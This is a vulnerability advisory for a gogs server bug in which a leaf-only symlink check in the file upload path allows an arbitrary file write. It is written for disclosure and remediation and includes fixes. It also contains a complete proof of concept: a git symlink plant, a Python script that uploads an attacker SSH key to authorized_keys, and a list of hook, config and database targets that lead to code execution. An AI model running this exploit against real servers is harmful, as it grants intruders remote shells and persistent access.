CVE-2026-52811

Summary

(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.

Windows builds are unaffected: filepath.Base treats ` as a separator (strips the multi-segment trick) and git defaults core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).

Details

The asymmetric check at internal/database/repo_editor.go:601-612:

targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY
    return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }

vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:

if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
    return errors.New("cannot update file with symbolic link in path")
}

hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.

Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, ORDWR|OCREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.

Suggested fix

1. Replace the leaf check at repo_editor.go:606 with hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name)) — the same primitive UpdateRepoFile already uses.
2. Walk opts.TreePath before the os.MkdirAll(dirPath, ...) at line 583 so that pre-existing symlinked components don't let MkdirAll create directories outside the repo.
3. Switch iox.CopyFile's open to OWRONLY|OCREATE|OTRUNC|ONOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
4. In database.NewUpload, after pathx.Clean, refuse name containing / or `` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.

PoC

Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).

Reproduction prerequisites

• gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows").
• Two attacker accounts on the gogs instance with write to a repo attacker/playground (repo creators are admins of their own repos).
• git ≥ 2.x with core.symlinks=true (Linux/macOS default).
• Python 3 stdlib only — curl -F does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.

Why curl alone is unreliable

Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single ` in the parsed filename, which pathx.Clean then turns into /`.

| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |

|---|---|---|---|---|

| -F "...filename=a\b"  | a\b  | ab  | ab  | no |

| -F "...filename=a\b" (double quotes) | a\b  | ab  | ab  | no |

| -F '...filename=a\b' (single quotes) | a\b | a\b | a/b | yes |

The Python below removes the ambiguity.

Step 1 — plant the directory symlink

git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..

Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.

Step 2 — upload + commit

Save as poc.py:

#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000
def conn():
    if ctx is None:
        return http.client.HTTPConnection(GOGS_HOST, 3000)
    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
    for hdr in resp.msg.get_all('Set-Cookie') or []:
        for name, morsel in SimpleCookie(hdr).items():
            cookies[name] = morsel.value
def cookie_header():
    return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
    return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
## 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
## 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
## 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
## 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
## Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'   # 23 chars, 2 of them backslashes
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
## 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
        'commit_choice': 'direct', 'files': uuid,
    }),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
python3 poc.py
## upload status: 200 body: {"uuid":"<UUID>"}
## commit status: 302

Step 3 — confirm and use the foothold

sudo cat /home/git/.ssh/authorized_keys           # operator's view
## → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
ssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker's view
## → shell as the gogs runtime UID

Server-side trace

multipart wire bytes:  filename="hijack\\authorized_keys"
mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)
UploadRepoFiles:
  targetPath = <local-r>/<repoID>/hijack/authorized_keys
             = /home/git/.ssh/authorized_keys               (parent symlink resolved)
  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)

Other reachable targets (same primitive)

| Symlink target | Effect on next event |

|---|---|

| /home/git/.ssh | SSH key implant → shell as gogs UID |

| <RepoRoot>/<owner>/<repo>.git/hooks | Hook overwrite → arbitrary code on next push |

| <RepoRoot>/<owner>/<repo>.git | core.fsmonitor=<cmd> in config → exec on next git op |

| ~git/custom/conf | Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |

| Path of the sqlite DB file | DoS or admin-row replant |

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
     <(sed -n '601,615p' internal/database/repo_editor.go)
## Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
## Confirm: pathx.Clean does ReplaceAll("\\", "/")

Impact

• Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
• Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with GOGSAUTHUSER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
• Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
• Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).